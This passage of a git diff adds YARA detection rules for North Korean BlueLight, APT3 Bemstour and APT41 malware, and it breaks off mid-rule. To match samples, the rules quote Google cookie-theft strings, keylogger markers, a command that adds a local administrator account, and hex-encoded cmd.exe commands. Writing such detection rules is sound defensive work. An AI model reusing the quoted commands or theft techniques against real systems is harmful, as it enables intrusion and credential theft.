+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+rule APT_MAL_Win_BlueLight_B : InkySquid
+{
+    meta:
+        author = "threatintel@volexity.com"
+        description = "North Korean origin malware which uses a custom Google App for c2 communications."
+        date = "2021-06-21"
+        hash1 = "837eaf7b736583497afb8bbdb527f70577901eff04cc69d807983b233524bfed"
+        license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
+        reference = "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"
+        id = "3ec2d44c-4c08-514d-a839-acef3f53f7dc"
+    strings:
+        $magic = "host_name: %ls, cookie_name: %s, cookie: %s, CT: %llu, ET: %llu, value: %s, path: %ls, secu: %d, http: %d, last: %llu, has: %d"
+        
+        $f1 = "%ls.INTEG.RAW" wide
+        $f2 = "edb.chk" ascii
+        $f3 = "edb.log" ascii
+        $f4 = "edbres00001.jrs" ascii
+        $f5 = "edbres00002.jrs" ascii
+        $f6 = "edbtmp.log" ascii
+        $f7 = "cheV01.dat" ascii
+        
+        $chrome1 = "Failed to get chrome cookie"
+        $chrome2 = "mail.google.com, cookie_name: OSID"
+        $chrome3 = ".google.com, cookie_name: SID,"
+        $chrome4 = ".google.com, cookie_name: __Secure-3PSID,"
+        $chrome5 = "Failed to get Edge cookie"
+        $chrome6 = "google.com, cookie_name: SID,"
+        $chrome7 = "google.com, cookie_name: __Secure-3PSID,"
+        $chrome8 = "Failed to get New Edge cookie"
+        $chrome9 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0"
+        $chrome10 = "Content-Type: application/x-www-form-urlencoded;charset=utf-8"
+        $chrome11 = "Cookie: SID=%s; OSID=%s; __Secure-3PSID=%s"
+        $chrome12 = "https://mail.google.com"
+        $chrome13 = "result.html"
+        $chrome14 = "GM_ACTION_TOKEN"
+        $chrome15 = "GM_ID_KEY="
+        $chrome16 = "/mail/u/0/?ik=%s&at=%s&view=up&act=prefs"
+        $chrome17 = "p_bx_ie=1"
+        $chrome18 = "myaccount.google.com, cookie_name: OSID"
+        $chrome19 = "Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3"
+        $chrome20 = "Content-Type: application/x-www-form-urlencoded;charset=utf-8"
+        $chrome21 = "Cookie: SID=%s; OSID=%s; __Secure-3PSID=%s"
+        $chrome22 = "https://myaccount.google.com"
+        $chrome23 = "result.html"
+        $chrome24 = "myaccount.google.com"
+        $chrome25 = "/_/AccountSettingsUi/data/batchexecute"
+        $chrome26 = "f.req=%5B%5B%5B%22BqLdsd%22%2C%22%5Btrue%5D%22%2Cnull%2C%22generic%22%5D%5D%5D&at="
+        $chrome27 = "response.html"
+        
+        $msg1 = "https_status is %s"
+        $msg2 = "Success to find GM_ACTION_TOKEN and GM_ID_KEY"
+        $msg3 = "Failed to find GM_ACTION_TOKEN and GM_ID_KEY"
+        $msg4 = "Failed HttpSendRequest to mail.google.com"
+        $msg5 = "Success to enable imap"
+        $msg6 = "Failed to enable imap"
+        $msg7 = "Success to find SNlM0e"
+        $msg8 = "Failed to find SNlM0e"
+        $msg9 = "Failed HttpSendRequest to myaccount.google.com"
+        $msg10 = "Success to enable thunder access"
+        $msg11 = "Failed to enable thunder access"
+
+        $keylogger_component1 = "[TAB]"
+        $keylogger_component2 = "[RETURN]"
+        $keylogger_component3 = "PAUSE"
+        $keylogger_component4 = "[ESC]"
+        $keylogger_component5 = "[PAGE UP]"
+        $keylogger_component6 = "[PAGE DOWN]"
+        $keylogger_component7 = "[END]"
+        $keylogger_component8 = "[HOME]"
+        $keylogger_component9 = "[ARROW LEFT]"
+        $keylogger_component10 = "[ARROW UP]"
+        $keylogger_component11 = "[ARROW RIGHT]"
+        $keylogger_component12 = "[ARROW DOWN]"
+        $keylogger_component13 = "[INS]"
+        $keylogger_component14 = "[DEL]"
+        $keylogger_component15 = "[WIN]"
+        $keylogger_component16 = "[NUM *]"
+        $keylogger_component17 = "[NUM +]"
+        $keylogger_component18 = "[NUM ,]"
+        $keylogger_component19 = "[NUM -]"
+        $keylogger_component20 = "[NUM .]"
+        $keylogger_component21 = "NUM /]"
+        $keylogger_component22 = "[NUMLOCK]"
+        $keylogger_component23 = "[SCROLLLOCK]"
+        $keylogger_component24 = "Time: "
+        $keylogger_component25 = "Window: "
+        $keylogger_component26 = "CAPSLOCK+"
+        $keylogger_component27 = "SHIFT+"
+        $keylogger_component28 = "CTRL+"
+        $keylogger_component29 = "ALT+"
+
+    condition:
+        $magic or 
+        (
+            all of ($f*) and 
+            5 of ($keylogger_component*)
+        ) or 
+        24 of ($chrome*) or 
+        4 of ($msg*) or 
+        27 of ($keylogger_component*)
+}
+
+rule APT_MAL_Win_BlueLight : InkySquid {
+    meta:
+        author = "threatintel@volexity.com"
+        date = "2021-04-23"
+        description = "The BLUELIGHT malware family. Leverages Microsoft OneDrive for network communications."
+        hash1 = "7c40019c1d4cef2ffdd1dd8f388aaba537440b1bffee41789c900122d075a86d"
+        hash2 = "94b71ee0861cc7cfbbae53ad2e411a76f296fd5684edf6b25ebe79bf6a2a600a"
+        license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
+        reference = "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"
+        id = "3ec2d44c-4c08-514d-a839-acef3f53f7dc"
+    strings:
+        $pdb1 = "\\Development\\BACKDOOR\\ncov\\"
+        $pdb2 = "Release\\bluelight.pdb"
+
+        $msg0 = "https://ipinfo.io" fullword
+        $msg1 = "country" fullword
+        $msg5 = "\"UserName\":\"" fullword
+        $msg7 = "\"ComName\":\"" fullword
+        $msg8 = "\"OS\":\"" fullword
+        $msg9 = "\"OnlineIP\":\"" fullword
+        $msg10 = "\"LocalIP\":\"" fullword
+        $msg11 = "\"Time\":\"" fullword
+        $msg12 = "\"Compiled\":\"" fullword
+        $msg13 = "\"Process Level\":\"" fullword
+        $msg14 = "\"AntiVirus\":\"" fullword
+        $msg15 = "\"VM\":\"" fullword
+
+    condition:
+        any of ($pdb*) or 
+        all of ($msg*) 
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_apt3_bemstour.yar b/yara-Neo23x0/apt_apt3_bemstour.yar
new file mode 100644
index 0000000..c457376
--- /dev/null
+++ b/yara-Neo23x0/apt_apt3_bemstour.yar
@@ -0,0 +1,275 @@
+rule apt3_bemstour_strings
+{
+meta:
+
+description = "Detects strings used by the Bemstour exploitation tool"
+author = "Mark Lechtik"
+company = "Check Point Software Technologies LTD."
+date = "2019-06-25"
+sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
+uuid = "8b76e10a-040f-505e-9dff-cd0a689b121e"
+strings:
+
+$dbg_print_1 = "leaked address is 0x%llx" ascii wide
+$dbg_print_2 = "========== %s ==========" ascii wide
+$dbg_print_3 = "detailVersion:%d" ascii wide
+$dbg_print_4 = "create pipe twice failed" ascii wide
+$dbg_print_5 = "WSAStartup function failed with error: %d" ascii wide
+$dbg_print_6 = "can't open input file." ascii wide
+$dbg_print_7 = "Allocate Buffer Failed." ascii wide
+$dbg_print_8 = "Connect to target failed." ascii wide
+$dbg_print_9 = "connect successful." ascii wide
+$dbg_print_10 = "not supported Platform" ascii wide
+$dbg_print_11 = "Wait several seconds." ascii wide
+$dbg_print_12 = "not set where to write ListEntry ." ascii wide
+$dbg_print_13 = "backdoor not installed." ascii wide
+$dbg_print_14 = "REConnect to target failed." ascii wide
+$dbg_print_15 = "Construct TreeConnectAndX Request Failed." ascii wide
+$dbg_print_16 = "Construct NTCreateAndXRequest  Failed." ascii wide
+$dbg_print_17 = "Construct Trans2  Failed." ascii wide
+$dbg_print_18 = "Construct ConsWXR  Failed." ascii wide
+$dbg_print_19 = "Construct ConsTransSecondary  Failed." ascii wide
+$dbg_print_20 = "if you don't want to input password , use server2003 version.." ascii wide
+
+$cmdline_1 = "Command format  %s TargetIp domainname username password 2" ascii wide
+$cmdline_2 = "Command format  %s TargetIp domainname username password 1" ascii wide
+$cmdline_3 = "cmd.exe /c net user test test /add && cmd.exe /c net localgroup administrators test /add" ascii wide
+$cmdline_4 = "hello.exe  \"C:\\WINDOWS\\DEBUG\\test.exe\"" ascii wide
+$cmdline_5 = "parameter not right" ascii wide
+
+$smb_param_1 = "browser" ascii wide
+$smb_param_2 = "spoolss" ascii wide
+$smb_param_3 = "srvsvc" ascii wide
+$smb_param_4 = "\\PIPE\\LANMAN" ascii wide
+$smb_param_5 = "Werttys for Workgroups 3.1a" ascii wide
+$smb_param_6 = "PC NETWORK PROGRAM 1.0" ascii wide
+$smb_param_7 = "LANMAN1.0" ascii wide
+$smb_param_8 = "LM1.2X002" ascii wide
+$smb_param_9 = "LANMAN2.1" ascii wide
+$smb_param_10 = "NT LM 0.12" ascii wide
+$smb_param_12 = "WORKGROUP" ascii wide
+$smb_param_13 = "Windows Server 2003 3790 Service Pack 2" ascii wide
+$smb_param_14 = "Windows Server 2003 5.2" ascii wide
+$smb_param_15 = "Windows 2002 Service Pack 2 2600" ascii wide
+$smb_param_16 = "Windows 2002 5.1" ascii wide
+$smb_param_17 = "PC NETWORK PROGRAM 1.0" ascii wide
+$smb_param_18 = "Windows 2002 5.1" ascii wide
+$smb_param_19 = "Windows for Workgroups 3.1a" ascii wide
+
+$unique_str_1 = "WIN-NGJ7GKNROVS"
+$unique_str_2 = "XD-A31C2E0087B2"
+
+condition:
+    uint16(0) == 0x5a4d and (5 of ($dbg_print*) or 2 of ($cmdline*) or 1 of ($unique_str*)) and 3 of ($smb_param*)
+}
+
+
+
+
+rule apt3_bemstour_implant_byte_patch
+{
+meta:
+
+description = "Detects an implant used by Bemstour exploitation tool (APT3)"
+author = "Mark Lechtik"
+company = "Check Point Software Technologies LTD."
+date = "2019-06-25"
+sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
+
+/*
+
+0x41b7e1L C745B8558BEC83                mov dword ptr [ebp - 0x48], 0x83ec8b55
+0x41b7e8L C745BCEC745356                mov dword ptr [ebp - 0x44], 0x565374ec
+0x41b7efL C745C08B750833                mov dword ptr [ebp - 0x40], 0x3308758b
+0x41b7f6L C745C4C957C745                mov dword ptr [ebp - 0x3c], 0x45c757c9
+0x41b7fdL C745C88C4C6F61                mov dword ptr [ebp - 0x38], 0x616f4c8c
+
+*/
+
+uuid = "c30434c3-8949-566c-b6a6-29bffdaf961d"
+strings:
+
+$chunk_1 = {
+
+C7 45 ?? 55 8B EC 83
+C7 45 ?? EC 74 53 56
+C7 45 ?? 8B 75 08 33
+C7 45 ?? C9 57 C7 45
+C7 45 ?? 8C 4C 6F 61
+
+}
+
+condition:
+    any of them
+}
+
+
+rule apt3_bemstour_implant_command_stack_variable
+{
+meta:
+
+description = "Detecs an implant used by Bemstour exploitation tool (APT3)"
+author = "Mark Lechtik"
+company = "Check Point Software Technologies LTD."
+date = "2019-06-25"
+sha256 = "0b28433a2b7993da65e95a45c2adf7bc37edbd2a8db717b85666d6c88140698a"
+
+
+uuid = "c773da5a-2d3f-5a0a-af2e-28ad382622b3"
+strings:
+
+
+/*
+
+0x41ba18L C78534FFFFFF636D642E          mov dword ptr [ebp - 0xcc], 0x2e646d63
+0x41ba22L C78538FFFFFF65786520          mov dword ptr [ebp - 0xc8], 0x20657865
+0x41ba2cL C7853CFFFFFF2F632063          mov dword ptr [ebp - 0xc4], 0x6320632f
+0x41ba36L C78540FFFFFF6F707920          mov dword ptr [ebp - 0xc0], 0x2079706f
+0x41ba40L C78544FFFFFF2577696E          mov dword ptr [ebp - 0xbc], 0x6e697725
+0x41ba4aL C78548FFFFFF64697225          mov dword ptr [ebp - 0xb8], 0x25726964
+0x41ba54L C7854CFFFFFF5C737973          mov dword ptr [ebp - 0xb4], 0x7379735c
+0x41ba5eL C78550FFFFFF74656D33          mov dword ptr [ebp - 0xb0], 0x336d6574
+0x41ba68L C78554FFFFFF325C636D          mov dword ptr [ebp - 0xac], 0x6d635c32
+0x41ba72L C78558FFFFFF642E6578          mov dword ptr [ebp - 0xa8], 0x78652e64
+0x41ba7cL C7855CFFFFFF65202577          mov dword ptr [ebp - 0xa4], 0x77252065
+0x41ba86L C78560FFFFFF696E6469          mov dword ptr [ebp - 0xa0], 0x69646e69
+0x41ba90L C78564FFFFFF72255C73          mov dword ptr [ebp - 0x9c], 0x735c2572
+0x41ba9aL C78568FFFFFF79737465          mov dword ptr [ebp - 0x98], 0x65747379
+0x41baa4L C7856CFFFFFF6D33325C          mov dword ptr [ebp - 0x94], 0x5c32336d
+0x41baaeL C78570FFFFFF73657468          mov dword ptr [ebp - 0x90], 0x68746573
+0x41bab8L C78574FFFFFF632E6578          mov dword ptr [ebp - 0x8c], 0x78652e63
+0x41bac2L C78578FFFFFF65202F79          mov dword ptr [ebp - 0x88], 0x792f2065
+0x41baccL 83A57CFFFFFF00                and dword ptr [ebp - 0x84], 0
+
+*/
+
+$chunk_1 = {
+
+C7 85 ?? ?? ?? ?? 63 6D 64 2E
+C7 85 ?? ?? ?? ?? 65 78 65 20
+C7 85 ?? ?? ?? ?? 2F 63 20 63
+C7 85 ?? ?? ?? ?? 6F 70 79 20
+C7 85 ?? ?? ?? ?? 25 77 69 6E
+C7 85 ?? ?? ?? ?? 64 69 72 25
+C7 85 ?? ?? ?? ?? 5C 73 79 73
+C7 85 ?? ?? ?? ?? 74 65 6D 33
+C7 85 ?? ?? ?? ?? 32 5C 63 6D
+C7 85 ?? ?? ?? ?? 64 2E 65 78
+C7 85 ?? ?? ?? ?? 65 20 25 77
+C7 85 ?? ?? ?? ?? 69 6E 64 69
+C7 85 ?? ?? ?? ?? 72 25 5C 73
+C7 85 ?? ?? ?? ?? 79 73 74 65
+C7 85 ?? ?? ?? ?? 6D 33 32 5C
+C7 85 ?? ?? ?? ?? 73 65 74 68
+C7 85 ?? ?? ?? ?? 63 2E 65 78
+C7 85 ?? ?? ?? ?? 65 20 2F 79
+83 A5 ?? ?? ?? ?? 00
+}
+
+
+
+
+/*
+
+0x41baeeL C785D8FEFFFF636D6420          mov dword ptr [ebp - 0x128], 0x20646d63
+0x41baf8L C785DCFEFFFF2F632022          mov dword ptr [ebp - 0x124], 0x2220632f
+0x41bb02L C785E0FEFFFF6E657420          mov dword ptr [ebp - 0x120], 0x2074656e
+0x41bb0cL C785E4FEFFFF75736572          mov dword ptr [ebp - 0x11c], 0x72657375
+0x41bb16L C785E8FEFFFF20636573          mov dword ptr [ebp - 0x118], 0x73656320
+0x41bb20L C785ECFEFFFF73757070          mov dword ptr [ebp - 0x114], 0x70707573
+0x41bb2aL C785F0FEFFFF6F727420          mov dword ptr [ebp - 0x110], 0x2074726f
+0x41bb34L C785F4FEFFFF3171617A          mov dword ptr [ebp - 0x10c], 0x7a617131
+0x41bb3eL C785F8FEFFFF23454443          mov dword ptr [ebp - 0x108], 0x43444523
+0x41bb48L C785FCFEFFFF202F6164          mov dword ptr [ebp - 0x104], 0x64612f20
+0x41bb52L C78500FFFFFF64202626          mov dword ptr [ebp - 0x100], 0x26262064
+0x41bb5cL C78504FFFFFF206E6574          mov dword ptr [ebp - 0xfc], 0x74656e20
+0x41bb66L C78508FFFFFF206C6F63          mov dword ptr [ebp - 0xf8], 0x636f6c20
+0x41bb70L C7850CFFFFFF616C6772          mov dword ptr [ebp - 0xf4], 0x72676c61
+0x41bb7aL C78510FFFFFF6F757020          mov dword ptr [ebp - 0xf0], 0x2070756f
+0x41bb84L C78514FFFFFF61646D69          mov dword ptr [ebp - 0xec], 0x696d6461
+0x41bb8eL C78518FFFFFF6E697374          mov dword ptr [ebp - 0xe8], 0x7473696e
+0x41bb98L C7851CFFFFFF7261746F          mov dword ptr [ebp - 0xe4], 0x6f746172
+0x41bba2L C78520FFFFFF72732063          mov dword ptr [ebp - 0xe0], 0x63207372
+0x41bbacL C78524FFFFFF65737375          mov dword ptr [ebp - 0xdc], 0x75737365
+0x41bbb6L C78528FFFFFF70706F72          mov dword ptr [ebp - 0xd8], 0x726f7070
+0x41bbc0L C7852CFFFFFF74202F61          mov dword ptr [ebp - 0xd4], 0x612f2074
+0x41bbcaL C78530FFFFFF64642200          mov dword ptr [ebp - 0xd0], 0x226464
+0x41bbd4L 6A5C                          push 0x5c
+
+*/
+
+$chunk_2 = {
+
+C7 85 ?? ?? ?? ?? 63 6D 64 20
+C7 85 ?? ?? ?? ?? 2F 63 20 22
+C7 85 ?? ?? ?? ?? 6E 65 74 20
+C7 85 ?? ?? ?? ?? 75 73 65 72
+C7 85 ?? ?? ?? ?? 20 63 65 73
+C7 85 ?? ?? ?? ?? 73 75 70 70
+C7 85 ?? ?? ?? ?? 6F 72 74 20
+C7 85 ?? ?? ?? ?? 31 71 61 7A
+C7 85 ?? ?? ?? ?? 23 45 44 43
+C7 85 ?? ?? ?? ?? 20 2F 61 64
+C7 85 ?? ?? ?? ?? 64 20 26 26
+C7 85 ?? ?? ?? ?? 20 6E 65 74
+C7 85 ?? ?? ?? ?? 20 6C 6F 63
+C7 85 ?? ?? ?? ?? 61 6C 67 72
+C7 85 ?? ?? ?? ?? 6F 75 70 20
+C7 85 ?? ?? ?? ?? 61 64 6D 69
+C7 85 ?? ?? ?? ?? 6E 69 73 74
+C7 85 ?? ?? ?? ?? 72 61 74 6F
+C7 85 ?? ?? ?? ?? 72 73 20 63
+C7 85 ?? ?? ?? ?? 65 73 73 75
+C7 85 ?? ?? ?? ?? 70 70 6F 72
+C7 85 ?? ?? ?? ?? 74 20 2F 61
+C7 85 ?? ?? ?? ?? 64 64 22 00
+6A 5C
+
+}
+
+/*
+
+0x41be22L C745D057696E45                mov dword ptr [ebp - 0x30], 0x456e6957
+0x41be29L C745D478656300                mov dword ptr [ebp - 0x2c], 0x636578
+0x41be30L C7459C47657450                mov dword ptr [ebp - 0x64], 0x50746547
+0x41be37L C745A0726F6341                mov dword ptr [ebp - 0x60], 0x41636f72
+0x41be3eL C745A464647265                mov dword ptr [ebp - 0x5c], 0x65726464
+0x41be45L C745A873730000                mov dword ptr [ebp - 0x58], 0x7373
+0x41be4cL C745C443726561                mov dword ptr [ebp - 0x3c], 0x61657243
+0x41be53L C745C874654669                mov dword ptr [ebp - 0x38], 0x69466574
+0x41be5aL C745CC6C654100                mov dword ptr [ebp - 0x34], 0x41656c
+0x41be61L C745B857726974                mov dword ptr [ebp - 0x48], 0x74697257
+0x41be68L C745BC6546696C                mov dword ptr [ebp - 0x44], 0x6c694665
+0x41be6fL C745C065000000                mov dword ptr [ebp - 0x40], 0x65
+0x41be76L C745AC436C6F73                mov dword ptr [ebp - 0x54], 0x736f6c43
+0x41be7dL C745B06548616E                mov dword ptr [ebp - 0x50], 0x6e614865
+0x41be84L C745B4646C6500                mov dword ptr [ebp - 0x4c], 0x656c64
+0x41be8bL 894DE8                        mov dword ptr [ebp - 0x18], ecx
+
+*/
+
+$chunk_3 = {
+
+C7 45 ?? 57 69 6E 45
+C7 45 ?? 78 65 63 00
+C7 45 ?? 47 65 74 50
+C7 45 ?? 72 6F 63 41
+C7 45 ?? 64 64 72 65
+C7 45 ?? 73 73 00 00
+C7 45 ?? 43 72 65 61
+C7 45 ?? 74 65 46 69
+C7 45 ?? 6C 65 41 00
+C7 45 ?? 57 72 69 74
+C7 45 ?? 65 46 69 6C
+C7 45 ?? 65 00 00 00
+C7 45 ?? 43 6C 6F 73
+C7 45 ?? 65 48 61 6E
+C7 45 ?? 64 6C 65 00
+89 4D ??
+
+}
+
+
+   condition:
+       any of them
+}
diff --git a/yara-Neo23x0/apt_apt41.yar b/yara-Neo23x0/apt_apt41.yar
new file mode 100644
index 0000000..355e85c
--- /dev/null
+++ b/yara-Neo23x0/apt_apt41.yar
@@ -0,0 +1,267 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2019-08-07
+   Identifier: APT41
+   Reference: https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html
+   License: https://creativecommons.org/licenses/by-nc/4.0/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule APT_APT41_POISONPLUG_3 {
+   meta:
+      description = "Detects APT41 malware POISONPLUG"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+      date = "2019-08-07"
+      score = 80
+      hash1 = "70c03ce5c80aca2d35a5555b0532eedede24d4cc6bdb32a2c8f7e630bba5f26e"
+      id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
+   strings:
+      $s1 = "Rundll32.exe \"%s\", DisPlay 64" fullword ascii
+      $s2 = "tcpview.exe" fullword ascii
+      $s3 = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" fullword ascii /* reversed goodware string 'Software\\Microsoft\\Windows\\CurrentVersion\\Run' */
+      $s4 = "AxEeulaVteSgeR" fullword ascii /* reversed goodware string 'RegSetValueExA' */
+      $s5 = "%04d-%02d-%02d_%02d-%02d-%02d.dmp" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 900KB and 3 of them
+}
+
+rule APT_APT41_POISONPLUG_SHADOW {
+   meta:
+      description = "Detects APT41 malware POISONPLUG SHADOW"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+      date = "2019-08-07"
+      score = 85
+      hash1 = "462a02a8094e833fd456baf0a6d4e18bb7dab1a9f74d5f163a8334921a4ffde8"
+      id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and pe.imphash() == "c67de089f2009b21715744762fc484e8"
+}
+
+rule APT_APT41_CRACKSHOT {
+   meta:
+      description = "Detects APT41 malware CRACKSHOT"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+      date = "2019-08-07"
+      score = 85
+      hash1 = "993d14d00b1463519fea78ca65d8529663f487cd76b67b3fd35440bcdf7a8e31"
+      id = "4ec34a77-dc7f-5f27-9f0a-c98438389018"
+   strings:
+      $x1 = ";procmon64.exe;netmon.exe;tcpview.exe;MiniSniffer.exe;smsniff.exe" ascii
+
+      $s1 = "RunUrlBinInMem" fullword ascii
+      $s2 = "DownRunUrlFile" fullword ascii
+      $s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36" fullword ascii
+      $s4 = "%s|%s|%s|%s|%s|%s|%s|%dx%d|%04x|%08X|%s|%s" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 250KB and ( 1 of ($x*) or 2 of them )
+}
+
+rule APT_APT41_POISONPLUG_2 {
+   meta:
+      description = "Detects APT41 malware POISONPLUG"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+      date = "2019-08-07"
+      score = 70
+      hash1 = "0055dfaccc952c99b1171ce431a02abfce5c6f8fb5dc39e4019b624a7d03bfcb"
+      id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
+   strings:
+      $s1 = "ma_lockdown_service.dll" fullword wide
+      $s2 = "acbde.dll" fullword ascii
+      $s3 = "MA lockdown Service" fullword wide
+      $s4 = "McAfee Agent" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 11000KB and all of them
+}
+
+rule APT_APT41_POISONPLUG {
+   meta:
+      description = "Detects APT41 malware POISONPLUG"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+      date = "2019-08-07"
+      score = 80
+      hash1 = "2eea29d83f485897e2bac9501ef000cc266ffe10019d8c529555a3435ac4aabd"
+      hash2 = "5d971ed3947597fbb7e51d806647b37d64d9fe915b35c7c9eaf79a37b82dab90"
+      hash3 = "f4d57acde4bc546a10cd199c70cdad09f576fdfe66a36b08a00c19ff6ae19661"
+      hash4 = "3e6c4e97cc09d0432fbbbf3f3e424d4aa967d3073b6002305cd6573c47f0341f"
+      id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
+   strings:
+      $s1 = "TSMSISrv.DLL" fullword wide
+      $s2 = "[-]write failed[%d]" fullword ascii
+      $s3 = "[-]load failed" fullword ascii
+      $s4 = "Remote Desktop Services" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 10000KB and (
+         pe.imphash() == "1b074ef7a1c0888ef31337c8ad2f2e0a" or
+         2 of them
+      )
+}
+
+rule APT_APT41_HIGHNOON {
+   meta:
+      description = "Detects APT41 malware HIGHNOON"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+      date = "2019-08-07"
+      score = 85
+      hash1 = "63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7"
+      hash2 = "4aa6970cac04ace4a930de67d4c18106cf4004ba66670cfcdaa77a4c4821a213"
+      id = "6611fb04-7237-52d1-b29f-941c3853aeca"
+   strings:
+      $x1 = "workdll64.dll" fullword ascii
+
+      $s1 = "\\Fonts\\Error.log" ascii
+      $s2 = "[%d/%d/%d/%d:%d:%d]" fullword ascii
+      $s3 = "work_end" fullword ascii
+      $s4 = "work_start" fullword ascii
+      $s5 = "\\svchost.exe" ascii
+      $s6 = "LoadAppInit_DLLs" fullword ascii
+      $s7 = "netsvcs" fullword ascii
+      $s8 = "HookAPIs ...PID %d " fullword ascii
+      $s9 = "SOFTWARE\\Microsoft\\HTMLHelp" fullword ascii
+      $s0 = "DllMain_mem" fullword ascii
+      $s10 = "%s\\NtKlRes.dat" fullword ascii
+      $s11 = "Global\\%s-%d" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) or 4 of them )
+}
+
+rule APT_APT41_HIGHNOON_2 {
+   meta:
+      description = "Detects APT41 malware HIGHNOON"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+      date = "2019-08-07"
+      hash1 = "79190925bd1c3fae65b0d11db40ac8e61fb9326ccfed9b7e09084b891089602d"
+      id = "1e48d859-2da9-583e-80e5-8d59054cfb85"
+   strings:
+      $x1 = "H:\\RBDoor\\" ascii
+
+      $s1 = "PlusDll.dll" fullword ascii
+      $s2 = "ShutDownEvent.dll" fullword ascii
+      $s3 = "\\svchost.exe" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and (
+         pe.imphash() == "b70358b00dd0138566ac940d0da26a03" or
+         pe.exports("DllMain_mem") or
+         $x1 or 3 of them
+      )
+}
+
+rule APT_APT41_HIGHNOON_BIN {
+   meta:
+      description = "Detects APT41 malware HIGHNOON.BIN"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+      date = "2019-08-07"
+      score = 90
+      hash1 = "490c3e4af829e85751a44d21b25de1781cfe4961afdef6bb5759d9451f530994"
+      hash2 = "79190925bd1c3fae65b0d11db40ac8e61fb9326ccfed9b7e09084b891089602d"
+      id = "c8bd62b4-b882-5c04-aace-76dd4a21a784"
+   strings:
+      $s1 = "PlusDll.dll" fullword ascii
+      $s2 = "\\Device\\PORTLESS_DeviceName" wide
+      $s3 = "%s%s\\Security" fullword ascii
+      $s4 = "%s\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii
+      $s5 = "%s%s\\Enum" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and (
+         pe.imphash() == "b70358b00dd0138566ac940d0da26a03" or
+         3 of them
+      )
+}
+
+rule APT_APT41_HIGHNOON_BIN_2 {
+   meta:
+      description = "Detects APT41 malware HIGHNOON.BIN"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
+      date = "2019-08-07"
+      score = 85
+      hash1 = "63e8ed9692810d562adb80f27bb1aeaf48849e468bf5fd157bc83ca83139b6d7"
+      hash2 = "c51c5bbc6f59407286276ce07f0f7ea994e76216e0abe34cbf20f1b1cbd9446d"
+      id = "37d6a44d-7811-5e87-84e2-b2a8b3da3124"
+   strings:
+      $x1 = "\\Double\\Door_wh\\" ascii
